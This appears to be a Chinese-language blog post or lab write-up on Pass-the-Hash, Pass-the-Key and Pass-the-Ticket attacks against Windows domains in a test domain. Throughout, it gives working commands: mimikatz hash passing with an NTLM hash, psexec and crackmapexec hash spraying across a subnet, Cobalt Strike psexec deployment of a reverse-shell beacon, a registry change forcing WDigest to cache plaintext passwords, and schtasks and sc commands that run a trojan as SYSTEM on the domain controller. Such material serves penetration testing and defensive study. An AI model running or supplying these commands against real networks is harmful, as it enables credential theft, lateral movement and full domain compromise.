PTH、PTT、PTK 攻击总结
PTH哈希传递攻击
攻击原理
PTH(Pass The Hash),哈希传递攻击。NTML认证和Kerberos认证中,都使用的用户NTML-HASH进行认证,
当得知对方的NTLN-Hash值之后就可以使用PTH进行认证攻击。
内网环境中,域内账户大多采用相同的密码,当知道了某一账户NTML后,可以尝试PTH攻击域内其他机器。
注意:补丁kb2871997,没打补丁用户都可以连接,打了补丁只能administrator连接
利用条件
- 有管理员的NTML HASH,目标机器445端口开放
- 内网中使用相同的账户密码
不同账户PTH区别
以下是不同权限账户PTH的结果。
本地最高管理员账户(administrator),进行hash传递
机器版本 | 结果 |
---|---|
win 2003 | ✔️ |
win 2008 | ✔️ |
win 2012 | ✔️ |
win 2016 | ✔️ |
Win 10 | ✔️ |
本地普通管理员账户(admin)
机器版本 | 结果 |
---|---|
win 2003 | ✔️ |
win 2008 | ✖️ |
win 2012 | ✖️ |
win 2016 | ✖️ |
Win 10 | ✖️ |
域内最高管理员(Administrator)
机器版本 | 结果 |
---|---|
win 2003 | ✔️ |
win 2008 | ✖️ |
win 2012 | ✖️ |
win 2016 | ✖️ |
Win 10 | ✖️ |
域内普通管理员
机器版本 | 结果 |
---|---|
win 2003 | ✔️ |
win 2008 | ✔️ |
win 2012 | ✔️ |
win 2016 | ✔️ |
Win 10 | ✔️ |
域内普通用户
机器版本 | 结果 |
---|---|
win 2003 | ✖️ |
win 2008 | ✖️ |
win 2012 | ✖️ |
win 2016 | ✖️ |
Win 10 | ✖️ |
攻击方式
mimikatz
1 | mimikatz.exe “privilege::debug” “sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash |
下面以域内最高管理员(administrator)作演示
1 | 抓取域控存储的各用户hash值 |
在没有进行pth攻击前,直接访问目标机器为拒绝访问
使用mimikatz进行pth攻击,传入ntml-hash
1 | mimikatz.exe sekurlsa::pth /user:administrator /domain:god.org /ntlm:ntlm-hash |
Psexec.exe
Psexec也可以进行pth攻击。
1 | psexec.exe 域名/用户们@目标机器 -hashes LM:NTLM |
administrator用户横向测试
批量pth攻击
Invoke-Thehash
这个我没有利用成功,貌似是因为版本的问题
1 | Import-Module .Invoke-TheHash.ps1(导入批量模块) |
crackmapexec.exe
1 | crackmapexec.exe 192.168.41.0/24 -u administrator -H LM:NTML |
PTH上线主机
手动的情况下就是配合计划任务之类进行上线。
下面是一些工具上线的方式
方式一:通过cs上线
- 找到目标ip,jump-psexec
- 找到本地抓取的凭证,选择administrator的hash
Listener:监听器
Session:通过哪个机器/用户进行传递
- 查看结果
CS内部处理流程
先建立pth连接
1 | pth god.org\Administrator 81be2f80d568100549beac645d6a7141 |
1 | jump psexec64 STU1 host机器jump |
上传文件到对方本地 (\STU1\ADMIN$\8aa9925.exe),执行反弹shell
方式二:通过mimikatz上线
mimikatz进行pth传递后,弹出cmd窗口,选择计划任务或者sc服务进行上线。
方式三:impacket包中的工具
下载地址:https://www.secureauth.com/labs/open-source-tools/impacket/
Psexec.exe
wmiexec.exe
1 | 用户名:密码@IP地址 |
可以配合powershell无文件落地进行上线
方式四:配合RDP上线
Restricted Admin mode:使用当前Windows登录凭据,不需要输入口令,通过该配置可以实现pth攻击
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f |
若机器不支持Restricted Admin mode,则会出现提示
PTK 密钥传递攻击
这里实际测试的时候有一点问题,由于mac下不太方便安装新的域环境,后面重新测试一下ptk攻击。暂时可以略过ptk这部分
kb2871997补丁
打了补丁之后的功能
1.支持”Protected Users”组
“Protected Users”组是Windows Server 2012 R2域中的安全组,**”Protected Users”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。**(2012之前版本的域控安装了补丁后也会有该组)。所以在mimikatz中,对于该组内的用户使用ptk时会失效,因为mimikatz是用的ntml认证,此时只能换其他工具。
2.LSASS中默认禁用wdigest协议
所以win server2012抓明文需要修改注册表,并且UseLogonCredential默认为0,修改UseLogonCredential值设置为1,WDigest将在内存中存储凭据。
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f |
3.注销后删除LSASS中的凭据
打补丁之前,只要用户登录系统,Windows就会在lsass中缓存用户的凭据信息
4.添加两个新的SID
攻击原理
PTH(Pass The Key),密钥传递攻击,PTH使用的是NTLM-HASH值,PTK攻击是使用的AES128、AES256,所以该攻击只存在于kerberos协议中。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,
win7打补丁前,可以正常抓取
先给win7安装补丁https://www.catalog.update.microsoft.com/Search.aspx?q=kb2871997
利用mimikatz抓取aeskey
1 | sekurlsa::ekeys |
如果机器没有加入域,是抓不到对应AES值的。
打补丁后,抓不到用户明文密码
利用条件
1 | 域控机器:192.168.52.138 账户:liukaifeng01(普通域用户) |
错误方法
1 | sekurlsa::pth /user:administrator /domain:god.org /aes256:xxx |
通过mimikatz进行ptk攻击,是走的ntml认证,而不是kerberos认证。
攻击方式
PTT票据传递攻击
用票据进行认证,只能用于kerberos认证
黄金、白银票据是用于权限维持。
攻击原理
PTK(Pass The Ticket),票据传递攻击,PTT 攻击只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的。进行票据传递,不需要提权,域用户或者system用户就可以。
利用条件
- 必须是域环境,域内才可以PTT
- 必须拥有相应的票据(域管理员票据最佳)
攻击方式
1、利用getTGT或者kekeo申请不同用户的票据
2、利用mimikatz进行票据传递
getTGT.exe生成ccache格式票据
kekeo生成kiribi格式票据
1 | klist #查看内存中票据 |
票据未导入前liukaifeng01(域内普通用户)访问域控失败
通过hash值传入生成TGT票据(dyh是域内普通管理员)
查看当前内存的票据
清除当前内存的票据
通过mimikatz导入票据
查看当前票据
这里不知道为什么dir域控hostnmae可以访问,但是ip不能。()
PTT上线方法
有很多种情况
- 机器上登录的域管账号,或者存在域管的票据
- 普通域账号
第二种情况下,先制作票据。
这里在cs里面执行会出现这个错误,暂时不知道怎么解决,就直接远程桌面搞了。
1 | "tgt::ask /user:administrator /domain:god.org /ntlm:81be2f80d568100549beac645d6a7141" |
复制cs木马到目标机器
为了方便起见,这里域控也是双网卡,方便上线
使用计划任务上线
1 | shell schtasks /create /s owa.god.org /ru system /tn webtest /tr c:\web.exe /sc onstart |
通过sc服务上线
1 | shell sc \\owa.god.org create web binpath= "cmd /c c:\web.exe" |
成功上线
PTH、PTK、PTT对比
PTH:用NTLM-HASH值进行认证-支持kerberos和NTLM认证
PTK:用AES值进行认证-只能用于kerberos认证
PTT:用票据进行认证-只能用于kerberos认证
参考文章
https://www.cnblogs.com/zpchcbd/p/12521703.html
https://www.anquanke.com/post/id/193150
https://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-the-Limitations-of-mitigation-methods/